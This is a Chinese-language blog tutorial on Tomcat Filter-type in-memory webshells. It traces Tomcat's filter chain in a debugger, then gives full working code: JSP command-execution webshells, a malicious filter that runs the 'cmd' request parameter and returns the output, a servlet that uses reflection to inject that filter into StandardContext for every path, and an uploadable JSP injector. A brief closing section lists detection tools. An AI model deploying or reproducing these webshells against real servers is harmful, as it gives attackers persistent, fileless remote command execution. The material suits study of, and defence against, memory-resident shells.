0x01 写在前面

学过 Servlet 的应该都知道 filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图

img

从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell

打 Filter 内存马的目标:动态注册恶意 Filter,并且将其放到“最前面”

0x02 流程分析

在学习 Filter 内存马的注入之前,我们先来分析一下正常 Filter 在 Tocat 中的流程是怎么样的

项目搭建

环境配置:

  • Maven 4.0.0
  • Tomcat 8.5.81
  • 依赖导入:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>4.0.1</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.81</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.81</version>
<scope>provided</scope>
</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-websocket</artifactId>
<version>8.5.81</version>
</dependency>

自定义 Filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import javax.servlet.*;
import java.io.IOException;

public class MyFilter implements Filter {

@Override
public void init(FilterConfig filterConfig) throws ServletException{
System._out_.println(("Filter has been initialized"));
}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws ServletException, IOException {
System._out_.println("Complete the filtering");
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy(){}
}

然后修改 web.xml 文件,这里我们设置 url-pattern 为 /filter 即访问 /filter 才会触发

1
2
3
4
5
6
7
8
9
10
11
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter> <filter-name>filter</filter-name>
<filter-class>MyFilter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping></web-app>

访问 /filter,自定义过滤器成功触发

img

流程分析-访问 /filter 之后

filter.java 下的 doFilter() 打断点。并且访问 /filter 接口

img

这里会进到 ApplicationFilterChain 类的 doFilter() 方法,它主要是进行了 Globals.IS_SECURITY_ENABLED,也就是全局安全服务是否开启的判断

img

单步 f8 进去,直接走到了结尾:

img

继续跟进去,这里是 ApplicationFilterChain 类的 internalDoFilter() 方法

img

filter 是从 ApplicationFilterConfig filterConfig = filters[pos++] 中来的,filters 的定义如下:

1
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];

现在我们其实是有两个 filter 的:

img

可以看到,0 是我们自己设定的过滤器 MyFilter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter

继续往里走,这里就调用了 tomcat 的 filter 的 doFilter() 方法,往下走会走到 chain.doFilter() 这个地方

img

这个方法会回到 ApplicationFilterChain 类的 doFilter() 方法里面,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个

img

那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次,最后一次获取 Filter 链的时候,会走到 this.servlet.service(request, response) 这个地方

img

小结:

  • 最后一个 filter 调用 servlet 的 service 方法
  • 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。
  • 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
  • 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行

**至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个 doFilter() 的,最后一个 Filter 会调用 **Servlet.service()

流程分析-访问 /filter 之前

分析目的在于:假设我们基于 filter 去实现一个内存马,我们需要找到 filter 是如何被创建的,我们从调用栈入手进行逆向分析,选到最远处的一个 invoke() 方法:

img

我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline;它进行了 invoke() 方法的调用,这个 invoke() 方法的调用的目的地是 AbstractAccessLogValve 类的 invoke() 方法。其实这一步已经安排了一个 request, wrapper, servlet 传递的顺序

img

接着是 AbstractAccessLogValve 类的 invoke() 方法,然后就是一步步调用 invoke() 方法

img

可以用这张图来表示这一整个过程:

img

invoke() 部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter() 方法。这个 doFilter() 方法也是由最近的那个 invoke() 方法调用的,这个方法在 StandardWrapperValve 类中:

img

这里我们要重点关注前文说过的 filterChain 这个变量,它究竟是什么:

img

我们跟进 createFilterChain() 这个方法。使用 ApplicationFilterFactory.createFilterChain() 创建了一个过滤链,将 request, wrapper, servlet 进行传递

img

遍历 StandardContext.filterMaps 得到 filter 与 URL 的映射关系并通过 matchDispatcher()matchFilterURL() 方法进行匹配,匹配成功后,还需判断 StandardContext.filterConfigs 中,是否存在对应 filter 的实例,当实例不为空时通过 addFilter 方法,将管理 filter 实例的 filterConfig 添加入 filterChain 对象中:

img

这时候我们再进入 doFilter() 的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的在访问 /filter 之后的流程分析

小结分析

首先是 invoke() 方法

层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。

filterchain 拿出来之后

进行 doFilter() 工作,将请求交给对应的 pipeline 去处理,也就是进行一个 doFilter() —-> internalDoFilter() —-> doFilter();直到最后一个 filter 被调用。

最后一个 filter

最后一个 filter 会执行完 doFilter() 操作,随后会跳转到 Servlet.service() 这里。至此,流程分析完毕。

梳理攻击的思路

我们的攻击代码,应该是生效于这一块的:

img

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。

而 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签

1
2
3
4
<filter-mapping> 
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>

0x03 攻击流程

我们一定是通过某种方式去触发修改 filterMaps 的,也就是如何修改 web.xml 中的 filter-mapping 标签

StandardContext 这个类中,filterMaps 可以通过如下两个方法添加数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}

StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系

1
2
3
4
5
filterMaps变量:包含所有过滤器的URL映射关系 

filterDefs变量:包含所有过滤器包括实例内部等变量

filterConfigs变量:包含所有与过滤器对应的filterDef信息及过滤器实例,进行过滤器进行管理
  • filterConfigs 成员变量是一个 HashMap 对象,里面存储了 filter 名称与对应的 ApplicationFilterConfig 对象的键值对,在 ApplicationFilterConfig 对象中则存储了 Filter 实例以及该实例在 web.xml 中的注册信息
  • filterDefs 成员变量成员变量是一个 HashMap 对象,存储了 filter 名称与相应 FilterDef 的对象的键值对,而 FilterDef 对象则存储了 Filter 包括名称、描述、类名、Filter 实例在内等与 filter 自身相关的数据
  • filterMaps 中的 FilterMap 则记录了不同 filter 与 UrlPattern 的映射关系
1
2
3
4
5
private HashMap<String, ApplicationFilterConfig> filterConfigs = new HashMap(); 

private HashMap<String, FilterDef> filterDefs = new HashMap();

private final StandardContext.ContextFilterMaps filterMaps = new StandardContext.ContextFilterMaps();

来看一看 ApplicationFilterConfig 里面存了什么东西

img

它有三个重要的东西:一个是 ServletContext,一个是 filter,一个是 filterDef

  • 其中 filterDef 就是对应 web.xml 中的 filter 标签:
1
2
3
4
<filter> 
<filter-name>filter</filter-name>
<filter-class>MyFilter</filter-class>
</filter>

org.apache.catalina.core.StandardContext#filterStart 中可以看到 filterConfig 可以通过 filterConfigs.put(name, filterConfig)添加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public boolean filterStart() {

if (getLogger().isDebugEnabled()) {
getLogger().debug("Starting filters");
}
// Instantiate and record a FilterConfig for each defined filter
boolean ok = true;
synchronized (filterConfigs) {
filterConfigs.clear();
for (Entry<String,FilterDef> entry : filterDefs.entrySet()) {
String name = entry.getKey();
if (getLogger().isDebugEnabled()) {
getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig =
new ApplicationFilterConfig(this, entry.getValue());
filterConfigs.put(name, filterConfig);
} catch (Throwable t) {
t = ExceptionUtils._unwrapInvocationTargetException_(t);
ExceptionUtils._handleThrowable_(t);
getLogger().error(_sm_.getString(
"standardContext.filterStart", name), t);
ok = false;
}
}
}

return ok;
}

构造思路

通过前文分析,得出构造的主要思路如下:

  1. 获取当前应用的 ServletContext 对象
  2. 通过 ServletContext 对象再获取 filterConfigs
  3. 接着实现自定义想要注入的 filter 对象
  4. 然后为自定义对象的 filter 创建一个 FilterDef
  5. 最后把 ServletContext 对象、filter 对象、FilterDef 全部都设置到 filterConfigs 即可完成内存马的实现

0x04 Filter 型内存马 EXP

JSP 无回显的内存马:

1
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>

JSP 有回显的内存马:

1
2
3
4
5
6
7
8
9
10
11
12
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}

%>

那么现在,我们要把这个恶意的有回显的内存马插入到 Filter 里面进去,配置一成个恶意的 Filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;

public class EvilFilter implements Filter {
public void init(FilterConfig config) throws ServletException {
}

public void destroy() {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = req.getParameter("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{req.getParameter("cmd")};
InputStream in = Runtime._getRuntime_().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
res.getWriter().flush();
}
}
}

修改 web.xml 内容:

1
2
3
4
5
6
7
<filter> 
<filter-name>filter</filter-name>
<filter-class>EvilFilter</filter-class>
</filter>
<filter-mapping> <filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

命令执行回显效果:

img

本质上其实就是 Filter 中接受执行参数,但是如果我们在现实情况中需要动态的将该 Filter 给添加进去

由前面 Filter 实例存储分析得知 StandardContext Filter 实例存放在 filterConfigs、filterDefs、filterMaps 这三个变量里面,将 fifter 添加到这三个变量中即可将内存马打入。那么如何获取到 StandardContext 成为了问题的关键

改造思路流程图:

img

先通过反射获取到 standContext:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ServletContext servletContext = request.getSession().getServletContext();  

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

接着定义一个 Filter:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Filter filter = new Filter(){
public void init(FilterConfig config) throws ServletException {
}

public void destroy() {
}

@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse res = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = req.getParameter("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{req.getParameter("cmd")};
InputStream in = Runtime._getRuntime_().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
res.getWriter().write(output);
res.getWriter().flush();
}
}
};

再设置 FilterDef 和 FilterMaps:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//反射获取 FilterDef,设置 filter 名等参数后,调用 addFilterDef 将 FilterDef 添加  
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef) declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取 FilterMap 并且设置拦截路径,并调用 addFilterMapBefore 将 FilterMap 添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);

最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面:

1
2
3
4
5
6
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");  
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");

最终 EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package com.gengar;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;

import java.util.Map;
import java.util.Scanner;

@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {


// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);



String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){

InputStream in = Runtime._getRuntime_().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);

return; }
filterChain.doFilter(servletRequest,servletResponse);
}

@Override
public void destroy() {

}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class._forName_("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class._forName_("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();

o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType._REQUEST_.name());
standardContext.addFilterMapBefore(o1);

//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class._forName_("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");


}
} catch (Exception e) {
e.printStackTrace();
}


}

protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}

img

如果文件上传的话应该是上传一个 .jsp 文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>

<%
final String name = "G3ng4r";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();

Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);

if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}

};

FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);

FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());

standardContext.addFilterMapBefore(filterMap);

Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);

filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>

文件上传时上传这个 jsp 马即可

img

0x05 Filter 型内存马排查

AWD 中内存马的排查是及其重要的防御手段,这里就提供排查工具,具体排查原理就不介绍了(其实是不会吧

arthas

https://github.com/alibaba/arthas

copagent

https://github.com/LandGrey/copagent

java-memshell-scanner

https://github.com/c0ny1/java-memshell-scanner

参考:

https://drun1baby.top/2022/08/22/Java%E5%86%85%E5%AD%98%E9%A9%AC%E7%B3%BB%E5%88%97-03-Tomcat-%E4%B9%8B-Filter-%E5%9E%8B%E5%86%85%E5%AD%98%E9%A9%AC/